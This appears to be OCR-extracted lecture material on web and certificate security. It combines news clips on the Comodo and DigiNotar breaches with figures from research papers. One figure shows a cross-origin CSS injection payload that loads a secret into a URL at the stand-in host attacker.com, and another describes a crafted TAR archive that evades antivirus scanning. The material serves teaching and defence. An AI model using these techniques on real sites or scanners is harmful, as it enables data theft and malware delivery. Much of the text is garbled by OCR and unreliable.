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News

Solo Iranian hacker takes credit for Comodo
certificate attack
Security researchers split on whether 'ComodoHacker' is the real deal

By Gregg Keizer
March 27, 2011 08:39 PM ET 0 Comments (5] " Recommended (37) | Jf] Like <84

Computerworld - A solo Iranian hacker on Saturday claimed responsibility
for stealing multiple SSL certificates belonging to some of the Web's
biggest sites, including Google, Microsoft, Skype and Yahoo.

Early reaction from security experts was mixed, with some believing the
hacker's claim, while others were dubious.

Last week, conjecture had focused on a state-sponsored attack, perhaps
funded or conducted by the Iranian government, that hacked a certificate
reseller affiliated with U.S.-based Comodo.

On March 23, Comodo acknowledged the attack, saying that eight days
earlier, hackers had obtained nine bogus certificates for the log-on sites of
Microsoft's Hotmail, Google's Gmail, the Internet phone and chat service
Skype and Yahoo Mail. A certificate for Mozilla's Firefox add-on site was
also acquired.



e

I

Aanpak DigiNotar-
problematiek
T S S P e
[ lvah o b S Tele i ] T [ i

bt g wreh e BT el bl
et Pl b e el

wewcigen =

Limy wnrdar 5
Bwlastingom Landieuw, natuwt on voedsel Uitgalicht
Bt gl 2211, STeete Tt et g @ N T 1 o N N T e i . o
PR UL AT, | RS R RS Sagm ey MEil, MmEs e, DarpamasiEs g “ Vs paj btk EREEN Svbt
Baumwi, woisn i |eslomgeying M b, Fuirvle @0 skl D"E'HDH"
Hewrwory, Drgtritgirir sy B geebaater . Dellagmgr it bdm 135]

The Dutch government has revoked all trust in digital certificates issued by DigiNotar

The Dutch government says hackers who broke into a web security firm
in the Netherlands last month issued hundreds of bogus security
certificates that could be used on websites including the CIA and Israel's
Mossad, as well as internet giants such as Google, Microsoft and Twitter.

More than 500 fake certificates, including some which could be used to
send fake Windows updates to computers, and others which could be
used when connecting to the ClA's site, were fraudulently issued in the
hack, Which occurred in July-

The Dutch government took the exceptional step of calling a press
conference at 1.15am on Saturday morning to announce that it was
revoking all trust in digital certificates issued by DigiNotar, which until
then had been used for all online tax returns filed in the Netherlands.



Law Enforcement Appliance Subverts SSL

By Ryan Singel &1 March 24, 2010 | 1:55 pm | Categories: Surveillance, Threats

That little lock on your browser window indicating you are communicating securely with your bank or e-
mail account may not always mean what you think its means.

Mormally when a user visits a secure website, such as Bank of America, Gmail, PayPal or eBay, the
browser examines the website's certificate to verify its authenticity.

At a recent wiretapping convention, however, security researcher Chris Soghoian discovered that a
small company was marketing internet spying boxes to the feds. The boxes were designed to intercept
those communications — without breaking the encryption — by using forged security certificates,
instead of the real ones that websites use to verify secure connections. To use the appliance, the
government would need to acquire a forged certificate from any one of more than 100 trusted Certificate
Authorities.



Internet Traffic to China

Percentage of Internet ti a major Chine AS54134) during the month of April 2010.
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The main take-away from the above graph is that ATLAS data shows no statistically significant increase for either
AS4134 or AS23724. While we did observe modest changes in traffic volumes for carriers within China, the BGP hijack had
limited impact on traffic volumes to or from the rest of the world.

As a couple readers of my blog observed (link to comments), traffic volumes provide an awkward measure of the security
implications of a BGP hijack. In particular, the volume of hijacked traffic change depends on:

If the intent was to hijack traffic for a small set of sensitive US government machines, then we might see TCP
connections diverted for only a few machines in a man-in-the-middle attack, relatively low volumes of diverted traffic,
and thousands of bogus routes announced as a smokescreen (credit for this scenario to my colleague Danny
McPherson in a NYTimes interview). In other words, basically close to what we observed on April 15th.

Or maybe, of course, this was just a typo in a configuration file.
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Security Warning: Do you trust the Russian government?

Firetox has detected that your connection to this website i1s probably not
secure. If you are attempting to access or transmit sensitive data, you should
stop this task, and try again using a different Internet connection.

Firefox has detected a potential security problem while trying to access
wiww.bankofamernca.com, a website visited at least 131 times in the past by persons
using this computer.

In these previous browsing sessions, www.bankofamerica.com provided a security
certificiate verified by a company in the United States.

However, this website is now presenting a different security certificate verified by a
company based in Russia.

If you do not trust the government of Russia with your private data, or think it unlikely
that Bank of America would obtain a security certificate from a company based there
this could be a sign that someone is attempting to intercept your secure
communications

Click here to learn more about security certificiates and this potentially risky situation,

If you trust the government of Russia and companies located there to protect your
privacy and security, click here to accept this new certificate and continue with your

visit to the site,




<!doctype html>
<html><head>...</head>
<body>

<script>

var user = |

"handle" :"Alice",
"uid":22250,

"nonce” :
"eqO0bkxssYmUNSk93bVLHyA=="
}i

</secript>

</body></html>

<ldoctype html>
<html><head>. . .</head>

<body>
<span>{}#f{font-family: " '</span>
<script>

Var user =

"handle":"Alice"”,

"uid":22250,

"nonce" :
"eqObkxssYmUNSKk93bVLHyA=="

}i
</script>
<gpan>"'; }</span>

</body></html>

=span>{}ff{font-family: '</span>
<script>

var user = |

"handle": "Alice",

"uid":22250,

"nonce" :
"egO0bkxssYmUNSk93bVLHyA=="

i

</seript>

<span>';}<fspan>

< {body >/ html >

HTML document: secret

data is highlighted.

Attacker injects CSS leader
and trailer around secret.

CSS parser skips most of
the document. loads secret
as a valid style rule.

Figure 1: Example of a Cross-Origin CSS Attack

{}#f{background:url('http://attacker.com/?




FROM

XYZ
Facebook
TurboTax
Amazon.com
Christina
ABC
Bryan
Matt
John
Amy

SUBJECT
{}body{background-image:url(’
Friend Confirmation
Your tax id
Order Confirmation
Directions to your place?
)3}

Hi!

Tickets?

Dinner tonight?
Project meeting times

Gene Pang




Table ¥V
VULNERABLE FILE-TYPE PAIRS IN CLAMAY

Real type Fake type Real type Fake type
POSIX TAR Mire. ini ELF POSIX TAR
PNG POSIX TAR ELF JIPEG

GIF IPEG ELF SIS

BMP IPEG MPEG POSIX TAR
MP3 POSIX TAR JPEG POSIX TAR
PNG IPEG BMP IPEG




header 1 header 2
length  chksum file 1 |length chksum | file 2
* !
regular TAR archive
header 1 header 2
length  chksum file 1 length chksum file 2
{corrupt) |(benign) | 4 {infected)

1

crafted TAR archive

Figure 2. A crafted TAR archive with the modified length field in the first

header.



Table I HTTPS domains that are compromised because HPTHSL pages import HTTP scripts or style-sheets

Compromised HTTPS domain
(the domain names are obfuscated)

The HPIHSL page that imports scripis
or CS5

Domain and path of the HTTP script or
CSS imported by the HPTHSL page

https//www_j-store com The “men’s shoes™ page m | hitp//switch.atdmt com/jaction/

The checkout service 1s in this domain WWW_j-store.com

https-//www_OnlineServiceX com The account help page at | httprwww. OnlineServiceX com/support/
The checkout service 1s in this domain www_OnlineServiceX com/support/account accounts/ bin/resource/
https-/’'www_s-store.com The “Apphances”™ page m | hitp://content s-storve.com/js/

The checkout service 1s in this domain WWW._s-store .com

https/www_ CertificateduthoritvX com The  “repository” page 1 www. | hitp‘www. CertificatedAuthoritvX com /css/

A leading certificate authority

CertificateAuthorityX_ com imports a CS58

https-/www_ eCommerceX. com

The checkout and user profiles are 1n this domain

The homepage of www. eCommerceX com

http-/images eCommerceX .com/media/

https-/'www_sb-store.com
The checkout service 1s in this domain

The “Fumiture” page in www.sb-store.com

http //eraphics.sb-store.com/images/

https-//www CreditCardX com
A credit card company

The homepage of www.CreditCardX com

http:/iswitch_atdmt.com/jaction/COF_Homep
age/vi/

https //www_b-bank.com
A bank 1n the Midwest

The page www. b-bank.com/ford asp

http:/’www google-analytics.com/

https://CodeRepositorvX net, Open source projects | The homepage of | hitp-/i/pagead? googlesyndication.com/
management system. User logins are m this domain. CodeRepositorvX net
https//uboc MortgageCompanyX. com The homepage of | hitp-//uboc MortgageCompanyX.com/Include

A California mortgage company

uboc_MorteageCompanyX .com

/Utilities/ClientSide/

https://cs. Universityl edu, the department’s
system is in this domain

login

The homepage of cs. Universitvl. edu

http:/tags. Universityl edu/

https:/www_eecs. University2.edu

A student’s  homepage
University 2 edu/~axooox

WWW. gecs.

http-//codice_shinvstat. com/cgi-bin/




